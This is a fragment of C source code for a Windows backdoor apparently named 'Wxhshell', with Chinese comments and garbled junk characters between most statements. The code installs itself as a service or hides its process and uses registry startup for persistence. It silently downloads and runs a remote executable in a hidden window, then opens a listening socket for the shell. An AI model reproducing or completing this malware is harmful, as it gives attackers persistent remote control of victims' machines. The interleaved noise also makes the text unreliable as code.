G| unsigned long cbNeeded; F`-? 3]\3 t'z]<7 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #0mn_#-P) {!-w|&bF CloseHandle(hProcess); .$q]<MK8 `dj/Uk if(strstr(procName,"services")) return 1; // 以服务启动 _ p?q/-[4 {}>"f]3 return 0; // 注册表启动 sx/g5?zh } 72PDqK# SkK=VeD>8 // 主模块 e\P+R>i0 int StartWxhshell(LPSTR lpCmdLine)
UWu|w { #a/lt^}C* SOCKET wsl; ~:JKXa? BOOL val=TRUE; 08'JT{i id int port=0; sT/pA^rnnR struct sockaddr_in door; >8RIMW2 x.d9mjLN8m if(wscfg.ws_autoins) Install(); Jb0]!*tV 02S Uyv(Mt port=atoi(lpCmdLine); ]qXfgc @]cpPW-b if(port<=0) port=wscfg.ws_port; wngxVhu8Ld !1!uB } WSADATA data; VB[R!S= if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *{C)o0D Q,s,EooIx if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; <H$ CCo setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ']qC,;2 door.sin_family = AF_INET; 2)U3/TNe door.sin_addr.s_addr = inet_addr("127.0.0.1"); H#1/H@I# door.sin_port = htons(port); C#gQJ=!B ~>C!l k if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EmLPq!C closesocket(wsl); yqoi2J: return 1; ~ 9'64 } UH[ YH;3O <q_H 3| if(listen(wsl,2) == INVALID_SOCKET) { /a]+xL closesocket(wsl); 3 \kT#nr return 1; `pLp+#1
`R } {8t;nsdm! Wxhshell(wsl); eNXpRvY WSACleanup(); u]zb<)'_ 9%)'QDVGLf return 0; ;T/' CD ~kYF/B2* } RRV&!<l@$ ;E*ozKpm // 以NT服务方式启动 H 9&?<j1n VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) SH5k^EJ { u<+;]8[o DWORD status = 0; S_\RQB\l DWORD specificError = 0xfffffff; IPJs$PtKok 0V1kZ. serviceStatus.dwServiceType = SERVICE_WIN32; o]jo R3 serviceStatus.dwCurrentState = SERVICE_START_PENDING; }}ogdq serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *aTM3k)Zs serviceStatus.dwWin32ExitCode = 0; ~>{<r{H"S serviceStatus.dwServiceSpecificExitCode = 0; 60hf)er serviceStatus.dwCheckPoint = 0; ]H.+=V;1 serviceStatus.dwWaitHint = 0; y_J{+ TN l$P~X> hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); GifD>c |z if (hServiceStatusHandle==0) return; ]bRu8kn LxMOs Nv status = GetLastError(); gs9f2t if (status!=NO_ERROR) GF
k?Qf{u { gAR];(* serviceStatus.dwCurrentState = SERVICE_STOPPED; mTcLocx serviceStatus.dwCheckPoint = 0; y*zZ }> serviceStatus.dwWaitHint = 0; <KJ18/ serviceStatus.dwWin32ExitCode = status; iPHMyxT+S serviceStatus.dwServiceSpecificExitCode = specificError; 1AhL-Lj SetServiceStatus(hServiceStatusHandle, &serviceStatus); J@1 (2%)|Z return; 4,)=r3;&! } y 5=J6a2. !rrjA$P<v serviceStatus.dwCurrentState = SERVICE_RUNNING; D@\97t+ serviceStatus.dwCheckPoint = 0; o6{XT.z5qx serviceStatus.dwWaitHint = 0; c5Offnq'1 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {\ .2h } 2b !b- DNL
TJrN // 处理NT服务事件,比如:启动、停止 _&yQW&vH# VOID WINAPI NTServiceHandler(DWORD fdwControl) QAu^]1 ; { k"AY7vq@!P switch(fdwControl) 'X`\vTxB { hI/p9
`w case SERVICE_CONTROL_STOP: uE/qraA serviceStatus.dwWin32ExitCode = 0; j^LnHVHk1 serviceStatus.dwCurrentState = SERVICE_STOPPED; K)^.96{/@ serviceStatus.dwCheckPoint = 0; 2Q<_l*kk( serviceStatus.dwWaitHint = 0; jQf1h|e { \*_qP*vq@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); sba0Q[IY } VeCpz[r return; heRQ|n.Dz) case SERVICE_CONTROL_PAUSE: &(wik#S serviceStatus.dwCurrentState = SERVICE_PAUSED; Av/|={i break; .k[Ptx> case SERVICE_CONTROL_CONTINUE: O:D`6U+0 serviceStatus.dwCurrentState = SERVICE_RUNNING; ULsz<Hj break; ~PS%^zxyn case SERVICE_CONTROL_INTERROGATE: Oi7:J>
[ break; M8
++JI }; F2+lwyc Y SetServiceStatus(hServiceStatusHandle, &serviceStatus); NH|v`rO } ysvn*9h+& >2N`l // 标准应用程序主函数 <$ '#@jW int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b}[{' { F7=a|g mB_ba1r // 获取操作系统版本 W;j*lII OsIsNt=GetOsVer(); q E(`@G GetModuleFileName(NULL,ExeFile,MAX_PATH); @ /c{gD UIzk-.< // 从命令行安装 _{T`ka if(strpbrk(lpCmdLine,"iI")) Install(); $k}+,tHtJO W6]iJ // 下载执行文件 b$g.">:$ if(wscfg.ws_downexe) { _Z 9I') if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8f#YUK
sW= WinExec(wscfg.ws_filenam,SW_HIDE); EMJ}tvL0Tp } XjL( V1 #bf^Pq'8 if(!OsIsNt) { =(v/pLLK? // 如果时win9x,隐藏进程并且设置为注册表启动 -Xx,"[sN\w HideProc(); o'R_kadN[T StartWxhshell(lpCmdLine); K@W~ } IgSe%B else .8g&V| if(StartFromService()) F5)Ta?3|"< // 以服务方式启动 yp!Xwq#n StartServiceCtrlDispatcher(DispatchTable); ? p\'S
w: else NW^}u~-f // 普通方式启动 ;Q-sie(# StartWxhshell(lpCmdLine); d6~wJ MFl H2|w
return 0; 69rVW~Z }
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